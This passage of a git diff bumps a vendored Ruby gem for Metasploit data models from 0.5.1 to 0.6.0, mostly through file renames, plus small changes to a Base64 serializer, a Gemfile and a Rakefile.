lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110622000000_add_settings_to_tasks_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110624000001_add_listeners_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110625000001_add_macro_to_listeners_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110630000001_add_nexpose_consoles_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110717000001_add_profiles_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110727163801_expand_cred_ptype_column.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110730000001_add_initial_indexes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110812000001_prune_indexes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110922000000_expand_notes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110928101300_add_mod_ref_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20111011110000_add_display_name_to_reports_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20111203000000_inet_columns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20111204000000_more_inet_columns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20111210000000_add_scope_to_hosts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120126110000_add_virtual_host_to_hosts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120411173220_rename_workspace_members.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120601152442_add_counter_caches_to_hosts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000000_add_vuln_details.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000001_add_host_details.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000002_expand_details.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000003_expand_details2.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000004_add_vuln_attempts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000006_add_module_details.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000007_add_exploit_attempts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000008_add_fail_message.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/mdm.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/mdm/host/operating_system_normalization.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/metasploit_data_models.rb (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/metasploit_data_models/serialized_prefs.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/metasploit_data_models/validators/ip_format_validator.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/metasploit_data_models/validators/password_is_strong_validator.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/metasploit_data_models/version.rb (96%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/tasks/yard.rake (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/metasploit_data_models.gemspec (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/script/rails (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/app/models/mdm/web_vuln_spec.rb (80%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/Rakefile (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/assets/javascripts/application.js (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/assets/stylesheets/application.css (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/controllers/application_controller.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/helpers/application_helper.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/mailers/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/models/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/views/layouts/application.html.erb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config.ru (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/application.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/boot.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/database.yml.example (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/environment.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/environments/development.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/environments/production.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/environments/test.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/initializers/backtrace_silencers.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/initializers/inflections.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/initializers/mime_types.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/initializers/secret_token.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/initializers/session_store.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/initializers/wrap_parameters.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/routes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/db/schema.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/lib/assets/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/log/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/public/404.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/public/422.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/public/500.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/public/favicon.ico (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/script/rails (100%) create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/spec_helper.rb (66%) rename lib/gemcache/ruby/1.9.1/specifications/{metasploit_data_models-0.5.1.gemspec => metasploit_data_models-0.6.0.gemspec} (97%) diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile deleted file mode 100755 index b582299d61..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile +++ /dev/null @@ -1,20 +0,0 @@ -#!/usr/bin/env rake -begin - require 'bundler/setup' -rescue LoadError - puts 'You must `gem install bundler` and `bundle install` to run rake tasks' -end - - -APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__) -load 'rails/tasks/engine.rake' - -Bundler::GemHelper.install_tasks - -require 'rspec/core/rake_task' - -RSpec::Core::RakeTask.new(:spec) -task :default => :spec - -load 'lib/tasks/yard.rake' - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/base64_serializer.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/base64_serializer.rb deleted file mode 100755 index b209aa39cc..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/base64_serializer.rb +++ /dev/null @@ -1,35 +0,0 @@ -# 2012-04-23 -# -# Provides ActiveRecord 3.1x-friendly serialization for descendants of -# ActiveRecord::Base. Backwards compatible with older YAML methods and -# will fall back to string decoding in the worst case -# -# usage: -# serialize :foo, MetasploitDataModels::Base64Serializer.new -# -module MetasploitDataModels - class Base64Serializer - def load(value) - return {} if value.blank? - begin - # Load the unpacked Marshal object first - Marshal.load(value.unpack('m').first) - rescue - begin - # Support legacy YAML encoding for existing data - YAML.load(value) - rescue - # Fall back to string decoding - value - end - end - end - - def dump(value) - # Always store data back in the Marshal format - [ Marshal.dump(value) ].pack('m') - end - end -end - - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/engine.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/engine.rb deleted file mode 100644 index 27f7df2994..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/engine.rb +++ /dev/null @@ -1,7 +0,0 @@ -require 'rails' - -module MetasploitDataModels - class Engine < Rails::Engine - - end -end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/lib/base64_serializer_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/lib/base64_serializer_spec.rb deleted file mode 100755 index ace44fcdac..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/lib/base64_serializer_spec.rb +++ /dev/null @@ -1,22 +0,0 @@ -require "spec_helper" - -module MetasploitDataModels - describe Base64Serializer do - subject{Base64Serializer.new} - - let(:test_value){{:foo => "bar", :baz => "baz"}} - - # We make it same way as in class b/c hard to keep a reliable base64 - # string literal as a fixture - let(:base64_fixture){[Marshal.dump(test_value)].pack('m')} - - it "should turn a Hash into proper base64" do - subject.dump(test_value).should == base64_fixture - end - - it "should turn base64 back into a Hash" do - subject.load(base64_fixture).should == test_value - end - end -end - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.gitignore b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.gitignore similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.gitignore rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.gitignore diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.rspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.rspec similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.rspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.rspec diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.simplecov b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.simplecov similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.simplecov rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.simplecov diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.yardopts b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.yardopts similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.yardopts rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.yardopts diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile similarity index 79% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile index c4e6b487cb..f153705da3 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile @@ -6,6 +6,9 @@ gemspec # used by dummy application group :development, :test do # supplies factories for producing model instance for specs + # Version 4.1.0 or newer is needed to support generate calls without the 'FactoryGirl.' in factory definitions syntax. + gem 'factory_girl', '>= 4.1.0' + # auto-load factories from spec/factories gem 'factory_girl_rails' # rails is only used for the dummy application in spec/dummy gem 'rails' diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/LICENSE b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/LICENSE similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/LICENSE rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/LICENSE diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/README.md b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/README.md similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/README.md rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/README.md diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile new file mode 100755 index 0000000000..8fd6dc482f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile @@ -0,0 +1,34 @@ +#!/usr/bin/env rake +begin + require 'bundler/setup' +rescue LoadError + puts 'You must `gem install bundler` and `bundle install` to run rake tasks' +end + +APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__) +load 'rails/tasks/engine.rake' + +Bundler::GemHelper.install_tasks + +# +# load rake files like a normal rails app +# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl +# + +pathname = Pathname.new(__FILE__) +root = pathname.parent +rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path + +Dir.glob(rakefile_glob) do |rakefile| + load rakefile +end + +require 'rspec/core' +require 'rspec/core/rake_task' + +# Depend on app:db:test:prepare so that test database is recreated just like in a full rails app +# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl +RSpec::Core::RakeTask.new(:spec => 'app:db:test:prepare') + +task :default => :spec + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/api_key.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/api_key.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/api_key.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/api_key.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/client.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/client.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/client.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/client.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploit_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploit_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploit_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploit_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploited_host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploited_host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploited_host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploited_host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/imported_cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/imported_cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/imported_cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/imported_cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/listener.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/listener.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/listener.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/listener.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/loot.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/loot.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/loot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/loot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/macro.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/macro.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/macro.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/macro.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/mod_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/mod_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/mod_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/mod_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_action.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_action.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_action.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_action.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_arch.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_arch.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_arch.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_arch.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_author.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_author.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_author.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_author.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_mixin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_mixin.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_mixin.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_mixin.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_platform.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_platform.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_platform.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_platform.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_target.rb similarity index 